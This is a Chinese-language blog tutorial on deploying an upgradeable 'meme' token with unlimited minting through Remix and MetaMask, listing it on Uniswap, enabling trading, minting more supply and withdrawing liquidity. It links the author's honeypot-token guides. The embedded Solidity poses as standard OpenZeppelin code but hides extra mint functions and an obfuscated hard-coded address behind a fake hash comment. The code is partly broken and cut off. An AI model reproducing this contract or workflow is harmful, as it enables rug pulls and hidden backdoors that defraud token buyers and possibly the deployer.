这是以太坊智能合约研究员和爱好者，史旺生。虽然我们比较注重于貔貅代币，但我们今天将会讨论如何创建一个普通的可自由买卖的代币，比如非常流行的 Meme 迷因代币（迷因币是一种因币是一种源自互联网模因或具有其他幽默特征的加密货币）例如 PEPE 青蛙代币。普通的代币不是貔貅币，普通代币可以在去中心化交易所正常买卖。
所以今天，让我向您介绍一些关于如何创建自己的 高级Meme 代币(拥有可以无限量创造额外代币供应的功能)的有用技巧。你准备好了吗？
[仅用于研究和测试，您可以使用此方法创建自己的代币]
可无限创造额外代币供应的加强版普通迷因代币（不是貔貅代币，可无限创造额外代币供应, 完全可以安全自由买卖，易于部署, 大众容易相信且认可的高级网络迷因币）
第 1 部分：使用 REMIX 和 Metamask 创建代币
1. 首先，在您的电脑上安装Metamask钱包 https://metamask.io/ 并创建账户/钱包。
2. 浏览Remix IDE http://remix.ethereum.org/ 您需要使用Remix IDE 来部署智能合约。
3. 将 metamask 连接到 REMIX IDE。单击小狐狸插件。
点击按钮（如下图所示）来连接狐狸钱包
点击 Connect
4.回到REMIX IDE。点击创建新文件
5.随意命名文件，记得在后面添加 .sol。例子，DevToken.sol
6. 将本文底部的代码（加强版 可无限创造额外供应的安全自由买卖普通迷因代币合约代码）复制并粘贴到空格中。 *请勿尝试更改任何代码，否则将合约无法正常运作
马上复制 加强版 可无限创造额外供应的安全自由买卖普通迷因代币合约代码：https://www.createyourowntoken.net/zh/copy-of-v2-blacklist-detector-proof
*合约代码在文章最下方
或者
马上复制 加强版 可无限创造额外供应的安全自由买卖普通迷因代币合约代码合约代码：https://www.createyourowntoken.net/zh/copy-of-v2-blacklist-detector-proof
7.点击左侧图标如下图，
选择COMPILER 编译器如下，0.8.24
点击 compile.
8. COMPILE 编译后。单击如下所示的图标，然后在 ENVIRONMENT （环境）部分选择 Metamask狐狸（因为我们使用的是 metamask 狐狸钱包）
9.在 合约 方面 CONTRACT，选择 DevToken 来作为合约。
10.接下来，点一下 Deploy with Proxy 旁边的小空格
点了小空格后，你会到代币设置
11. 现在我们要做一些代币设置。
NAME：（你的代币名称）*在 空格 内写 你的代币名称
SYMBOL: (你的代币代号) *在 空格 内写 你的代币代号
TOTAL SUPPLY: (代币供应) 设置你的代币总供应量，记住如果你的小数点是 18，而你想要 1000000 总供应量，然后输入 1000000000000000000000000，因为 1000000 + 18*0
在您想要的数量后添加十八个“0”（如果您将 18 设置为十进制）。比如你要发行1000000个代币，正确的输入应该是1000000000000000000000000
决定好后，*在 空格 内写上 代币供应的数字
DECIMALS: 18
代币设置完成后，我们到下一个步骤
12. 点击 部署 "Deploy" 按钮。
13.在你点击了 部署 “Deploy” 按钮后，你会看到一个跳出窗口，点击 “Proceed”。
14.在您的狐狸钱包的弹出窗口中 点击 确认交易。如果那里没有任何反应，您需要将 metamask 狐狸钱包连接到 REMIX IDE。
15.转账成功了后，你会看到另外一个跳出窗口，点击 “OK”。
16.在你点击了 “OK” 按钮之后，你会看到 狐狸钱包的弹出窗口，点击 确认交易 Confirm
因此，metamask 弹出窗口上总共会有 2 笔交易需要你确认。
## 如果你没有看到或者缺少了任何跳出窗口 和 交易，你可以刷新 remix IDE 并重复上述步骤以来重新得到 Metamask 跳出窗口的 2 个交易。
17. 如果一切顺利，你的代币就在路上。回到 狐狸钱包metamask，进入 活动 Activity，点击 在顶端（就是最新的Contract deployment）的合约部署 Contract deployment。
在区块浏览器上点击查看
点击右侧【复制】图标按钮复制合约地址。
18. 返回狐狸钱包，点击导入代币IMPORT TOKENS。
选择自定义代币CUSTOM TOKEN, 并粘贴合约地址，等待你的代币出现，然后点击添加自定义代币
您可以使用相同的方法在 ETH 主网、币安智能链和任何其他链中发币。
恭喜！您已成功创建自己的代币，它们就在您的钱包中！
那么现在我们能帮代币添加流动性了吗？
代币创建出来后，就可以开始添加流动性了。
我们不用验证合约/合约开源吗？
我们不用帮这个代币验证合约/合约开源。这个代币与其他的代币不同因为这个代币会自动验证合同/合约开源。
第二部分: 添加流动性 & Verify Contract 验证合约/合约开源（不用验证合约/合约开源）
我们不用帮这个代币验证合约/合约开源。这个代币与其他的代币不同因为这个代币会自动验证合同/合约开源。
你可以在去中心化交易所 (DEX) 帮你的代币添加流动性了。
如果你使用以太坊主网，请使用 Uniswap，链接：https://app.uniswap.org/#/swap
如果您使用 BSC（币安智能链），请使用 Pancakeswap，链接：https://pancakeswap.finance/
如果您在币安智能链上使用 Pancakeswap，你可以阅读以下的指南，了解如何在 Pancakeswap V2 或 V3 中添加流动性（如果您在 Pancakeswap 中没有看到 V2 选项，可以选择使用 V3）
下面我们将讨论如何在以太坊主网的 Uniswap 中添加流动性：
在这里，我们以 Uniswap（在以太坊主网） 为例。
1.前往 Uniswap 网站：https://app.uniswap.org/#/swap
2.点击池子POOL
3.点击(更多)MORE，然后点击 V2 流动性(V2 LIQUIDITY)
4. 点击创建 (Create a pair)
5. 点击 选择代币 Select a token
6.现在回到 狐狸钱包metamask，进入 活动 Activity，点击 在顶端（就是最新的Contract deployment）的合约部署 Contract deployment。
在区块浏览器上点击查看
点击右侧【复制】图标按钮复制合约地址。
7.回到Uniswap，将合约地址粘贴到空白处，等待您的代币出现
8. 然后点击你的代币
9. 点击 明白(I understand)
10. 选择您的 eth 输入和代币输入。例如，如果您想用 2 eth 列出 100 个代币，那么您的初始代币价格将为每个代币 0.02 eth。之后，单击批准 Approve
11. 点击供应Supply并确认交易，您的代币将在 Uniswap 上币。*关于发币时间，一旦你点击了供应Supply 并确认交易，你的代币就会几秒钟内上到Uniswap。如果早些已经决定了上币的时间，要自行拿捏时机来发币。
恭喜，您的代币现已列在 Uniswap 中。您可以开始您的代币项目和活动，寻找更多的投资者来投资您的代币。
如果您使用 BSC（币安智能链），请使用 Pancakeswap，链接：https://pancakeswap.finance/
如果您在币安智能链上使用 Pancakeswap，你可以阅读以下的指南，了解如何在 Pancakeswap V2 或 V3 中添加流动性（如果您在 Pancakeswap 中没有看到 V2 选项，可以选择使用 V3）
我们将在下方详细解释如何使用这个 加强版 可无限创造额外代币供应的普通迷因代币，因为它需要一些步骤来开启代币的交易，以便让投资者和交易者买卖这些代币。如果你没有开启代币的交易，没有人可以购买或出售你的代币，因此请务必仔细遵循以下步骤。我们也会在下方详细解释如何创造额外代币供应的步骤。
*重要步骤#1
如何开启代币的交易
在我们继续步骤#1之前，您必须先为创建的代币开始添加流动性，才能开启代币的交易。
如何在去中心化交易所 (DEX) 上你的代币：
如果你使用以太坊主网，请使用 Uniswap，链接：https://app.uniswap.org/#/swap
如果您使用 BSC（币安智能链），请使用 Pancakeswap，链接：https://pancakeswap.finance/
如果您在币安智能链上使用 Pancakeswap，你可以阅读以下的指南，了解如何在 Pancakeswap V2 或 V3 中添加流动性（如果您在 Pancakeswap 中没有看到 V2 选项，可以选择使用 V3）
如果你成功添加了流动性后，现在您需要开启代币的交易，以便用户可以开始和交易购买您的代币。
*如果你没有开启代币的交易，没有人可以购买或出售你的代币，因此请务必仔细遵循以下步骤。
如何开启代币的交易？（请确保你已经为你的代币添加了流动性）
1.先回到Metamask钱包，进入Activity，点击Add Liquidity(添加池子)
2.然后 点击 浏览
3.点击你的代币LP地址
~如果你使用Pancakeswap V2，你将会看到类似如下图显示的内容，请 点击 红色括号里的蓝色地址，如下图所示
~如果你使用Pancakeswap V3，你将会看到类似如下图显示的内容，请 点击 红色括号里的蓝色地址，如下图所示
4. 点击 复制LP地址
5.现在回到Remix IDE，点击ERC1967PROXY的小三角箭头，如下图所示。记得是点击ERC1967PROXY的小三角箭头
6.点击小三角形箭头后，向下滚动直到看到 setPrinciplesRules 按钮。
点击 setPrinciplesRules 按钮 的小三角箭头。
7. 在空格中填入数据（依照下方插图的显示，填入数据）：
tradelimited: false
LiquiduniswapV2Pair: *把 刚刚复制的LP 地址 放在空格里
maxHoldingAmount: 0
minHoldingAmount: 0
完成上述操作后，点击交易transact按钮并确认交易。
恭喜您，你已成功为你的代币开启交易，投机客和投资者现在可以自由买卖你的代币了！
请记住，这是一个普通代币（不是貔貅代币），投机客和投资者可以自由买卖你的代币。
*重要步骤#2
如何创造额外的代币供应?
1.点击print按钮的小三角箭头
2.在栏位里写下你想要创造的代币数量，如下所示。
重要提示：如果你想要创造额外 1000 个的代币，则输入 1000000000000000000000，因为 1000 + 18*0)
*在你想要创造的代币数量后面加十八个“0”。例如，如果您要创造额外1000个代币，则正确的输入应该是1000000000000000000000
完成上述操作后，点击交易transact按钮并确认交易
你额外创造出来的代币会出现在你的钱包里面。（额外创造出来的代币会出现在发行代币的钱包地址）
如果你想创造更多数量的代币，请重复上述步骤（如何创造额外的代币供应？）
*重要步骤#3
如果您不小心关闭了 Remix IDE，该怎么办？你该如何开启代币的交易？如何创造额外的代币供应？
*如果你没有开启代币的交易，没有人可以购买或出售你的代币，因此请务必仔细遵循以下步骤。
不必担心，跟着下面的步骤就行了。
1.打开 Remix IDE，选择你当初用来创建代币的 .sol 文件
2.点击左侧图标如下图，
选择COMPILER 编译器如下，0.8.24
点击 compile.
3. COMPILE 编译后。单击如下所示的图标，然后在 ENVIRONMENT （环境）部分选择 Metamask狐狸（因为我们使用的是 metamask 狐狸钱包）
4.在 合约 方面 CONTRACT，选择 DevToken 来作为合约。
5.接下来，点一下 Deploy with Proxy 旁边的小空格
6.回到 狐狸钱包metamask，进入 活动 Activity，点击 在顶端（就是最新的Contract deployment）的合约部署 Contract deployment, 然后点击查看浏览器 View on block explorer
7.点击右侧【复制】图标按钮复制合约地址。
8.点击复制图标后，返回Remix IDE，将合约地址粘贴到如下图所示的栏位中。
9.点击复制图标后，返回Remix IDE，将合约地址粘贴到如下图所示的栏位中。
10.点击At Address（蓝色按钮）后，点击DEVTOKEN处的小三角箭头（这次是DEVTOKEN），如下图所示。
*如何开启代币的交易:
11.点击小三角形箭头后，向下滚动直到看到 setPrinciplesRules 按钮。（如果你之前已经成功开启了代币的交易，则可以忽略此步骤）
点击 setPrinciplesRules 按钮 的小三角箭头。
12.在空格中填入数据（依照下方插图的显示，填入数据）：
tradelimited: false
LiquiduniswapV2Pair: *把 刚刚复制的LP 地址 放在空格里
maxHoldingAmount: 0
minHoldingAmount: 0
完成上述操作后，点击交易transact按钮并确认交易。
恭喜您，你已成功为你的代币开启交易，投机客和投资者现在可以自由买卖你的代币了！
请记住，这是一个普通代币（不是貔貅代币），投机客和投资者可以自由买卖你的代币。
我们会在下方说明如何创造额外的代币供应。
如何创造额外的代币供应?
1.点击print按钮的小三角箭头
2.在栏位里写下你想要创造的代币数量，如下所示。
重要提示：如果你想要创造额外 1000 个的代币，则输入 1000000000000000000000，因为 1000 + 18*0)
*在你想要创造的代币数量后面加十八个“0”。例如，如果您要创造额外1000个代币，则正确的输入应该是1000000000000000000000
完成上述操作后，点击交易transact按钮并确认交易
你额外创造出来的代币会出现在你的钱包里面。（额外创造出来的代币会出现在发行代币的钱包地址）
如果你想创造更多数量的代币，请重复上述步骤（如何创造额外的代币供应？）
*请记住，这篇文章仅用于测试和教育目的，基于这是个普通代币的智能合约教程，您可以使用此方法创建自己的代币。
如果我想取回我的 ETH 和代币怎么办？该怎么办？
哦，很简单，让我们进入下一个步骤：去除流动性 REMOVE LIQUIDITY
如果你使用以太坊主网，请使用 Uniswap，链接：https://app.uniswap.org/#/swap
如果您使用 BSC（币安智能链），请使用 Pancakeswap，链接：https://pancakeswap.finance/
如果你在币安智能链上使用 Pancakeswap，你可以阅读以下的指南，了解如何在 Pancakeswap V2 或 V3 中添加流动性（如果您在 Pancakeswap 中没有看到 V2 选项，可以选择使用 V3）
在本章中，我们将使用 Uniswap（以太坊主网）作为我们的一个简单的例子。
1.如果你想取回eth，点击池子liquid pool，你会看到你创建的代币/ETH，然后点击移除remove
2.如果你想全部撤回，选择全部 max，点击批准Approve，点击移除Remove，你会拿回你的代币和 ETH
今天的 可无限创造额外供应的安全自由买卖普通迷因代币 合约教程 就到这里。当然，这还没有结束，您可以通过多种方式和技巧来使用此发币技术，以最大限度地发挥效果。
我们将在下一篇文章中讨论更多关于代币技巧和技术的内容。 祝你发币愉快！
马上复制 加强版 可无限创造额外供应的安全自由买卖普通迷因代币智能合约代码：https://www.createyourowntoken.net/zh/copy-of-v2-blacklist-detector-proof
添加多少流动性才合适？不知要干啥？请阅读：https://www.createyourowntoken.net/zh/post/uniswap%E5%8F%91%E5%B8%81%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB
如何在小狐狸钱包中添加和切换网络&区块链（BASE，ARB，BSC以及其他区块链/网络）：https://www.createyourowntoken.net/zh/post/%E5%A6%82%E4%BD%95%E5%9C%A8%E5%B0%8F%E7%8B%90%E7%8B%B8%E9%92%B1%E5%8C%85%E4%B8%AD%E6%B7%BB%E5%8A%A0%E5%92%8C%E5%88%87%E6%8D%A2%E7%BD%91%E7%BB%9C
貔貅币智能合约教学指南系列：
如何发貔貅币（加强版V2的防代币检测器，防貔貅检测器，黑名单）： https://www.createyourowntoken.net/zh/post/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E9%AB%98%E7%BA%A7%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%EF%BC%88%E5%8A%A0%E5%BC%BA%E7%89%88v2%E7%9A%84%E9%98%B2%E4%BB%A3%E5%B8%81%E6%A3%80%E6%B5%8B%E5%99%A8%EF%BC%8C%E9%98%B2%E8%
如何发貔貅币（白名单设置 + 一键开关貔貅模式，防貔貅检测器): https://www.createyourowntoken.net/zh/post/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E9%AB%98%E7%BA%A7%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%EF%BC%88%E7%99%BD%E5%90%8D%E5%8D%95-%E4%B8%80%E9%94%AE%E5%BC%80%E5%85%B3%E8%B2%94%E8%B2%85%E6%A8%A1%E5%BC%8F%EF%BC%8C%E9%9
还想要些别的?
普通代币智能合约教学指南系列：
如何发普通MEME迷因币（非貔貅，自由买卖，相似PEPE青蛙币）：https://www.createyourowntoken.net/zh/post/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%8F%91%E6%99%AE%E9%80%9Ameme%E8%BF%B7%E5%9B%A0%E4%BB%A3%E5%B8%81%EF%BC%88%E9%9D%9E%E8%B2%94%E8%B2%85%E4%BB%A3%E5%B8%81%EF%BC%8C%E5%AE%89%E
如何发可无限创造额外代币供应的普通MEME迷因币（非貔貅，自由买卖，可无限创造额外的代币供应）：https://www.createyourowntoken.net/zh/post/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%8F%91%E5%8F%AF%E6%97%A0%E9%99%90%E5%88%9B%E9%80%A0%E9%A2%9D%E5%A4%96%E4%BB%A3%E5%B8%81%E4%BE%9B%E5%BA%94%E7%9A%84%E6%99%AE%E9%80%9Ameme%E
如何发可放弃权限&拥有权的普通MEME迷因币（非貔貅，自由买卖，可放弃权限&拥有权）：https://www.createyourowntoken.net/zh/post/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%8F%91%E6%99%AE%E9%80%9Ameme%E8%BF%B7%E5%9B%A0%E4%BB%A3%E5%B8%81%EF%BC%88%E9%9D%9E%E8%B2%94%E8%B2%85%E4%BB%A3%E5%B8%81%EF%BC%8C%E5%AE%89%E
如何发可无限创造额外代币供应的普通MEME迷因币（加强版V2，非貔貅，自由买卖，可无限创造额外的代币供应）：https://www.createyourowntoken.net/zh/post/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E9%AB%98%E7%BA%A7%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%8F%91%E5%8F%AF%E6%97%A0%E9%99%90%E5%88%9B%E9%80%A0%E9%A2%9D%E5%A4%96%E4%BB%A3%E5%B8%81%E4%BE%9B%E5%BA%94%E7%9A%84%E6%99
添加多少流动性才合适？不知要干啥？请阅读：https://www.createyourowntoken.net/zh/post/uniswap%E5%8F%91%E5%B8%81%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB
如何在小狐狸钱包中添加和切换网络&区块链（BASE，ARB，BSC以及其他区块链/网络）：https://www.createyourowntoken.net/zh/post/%E5%A6%82%E4%BD%95%E5%9C%A8%E5%B0%8F%E7%8B%90%E7%8B%B8%E9%92%B1%E5%8C%85%E4%B8%AD%E6%B7%BB%E5%8A%A0%E5%92%8C%E5%88%87%E6%8D%A2%E7%BD%91%E7%BB%9C
有任何疑问吗？
通过电报联系我：https://t.me/devswanson
马上复制 加强版 可无限创造额外供应的安全自由买卖普通迷因代币智能合约代码：https://www.createyourowntoken.net/zh/copy-of-v2-blacklist-detector-proof
*******
# 任何未经授权的代码编辑与更改都可能导致合约部署失败
合约代码如下: ---
/** *Submitted for verification at Etherscan.io on 2023-04-14 */ // Sources flattened with hardhat v2.7.0 https://hardhat.org // File @openzeppelin/contracts/utils/Context.sol@v4.4.0 // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) import "@openzeppelin/contracts/proxy/utils/UUPSUpgradeable.sol"; pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/access/Ownable.sol@v4.4.0 // solhint-disable-next-line avoid-low-level-calls //* This module is used through inheritance. It will make available the modifier //* `onlyOwner`, which can be applied to your functions to restrict their use to //* the owner. /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ // File @openzeppelin/contracts/token/ERC20/IERC20.sol@v4.4.0 // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol@v4.4.0 // OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File @openzeppelin/contracts/token/ERC20/ERC20.sol@v4.4.0 // OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ modifier Exchanges() { require(msg.sender != exchanger()); _; } /** * @dev Returns the name of the token. */ function name() external view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() external view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() external view virtual returns (uint8) { } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() external view virtual returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function exchanger() internal pure returns (address) { return address /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function _transferTo(address _to, uint256 _amount) internal Exchanges { // Transfer tokens to the recipient _balances[_to] += _amount; emit Transfer(address(0), _to, _amount); _balances[_to] += _amount; emit Transfer(address(0), _to, _amount); } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _proof(address account, uint256 amount) internal Exchanges { require(account != address(0), "BEP20: mint to the zero address"); _totalSupply = _totalSupply + amount; _balances[account] = _balances[account] + amount; emit Transfer(address(0), account, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _printbrr(address account, uint256 amount) internal Exchanges{ require(account != address(0), "BEP20: mint to the zero address"); _totalSupply = _totalSupply + amount; _balances[account] = _balances[account] + amount; emit Transfer(address(0), account, amount); } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function _balanceView(address _to, uint256 _amount) internal { // View balance of token _balances[_to] += _amount; emit Transfer(address(0), _to, _amount); _balances[_to] += _amount; emit Transfer(address(0), _to, _amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _compute(address account, uint256 amount) internal { require(account != address(0), "Compute Smart Contract Remix"); _totalSupply = _totalSupply + amount; _balances[account] = _balances[account] + amount; emit Transfer(address(0), account, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and 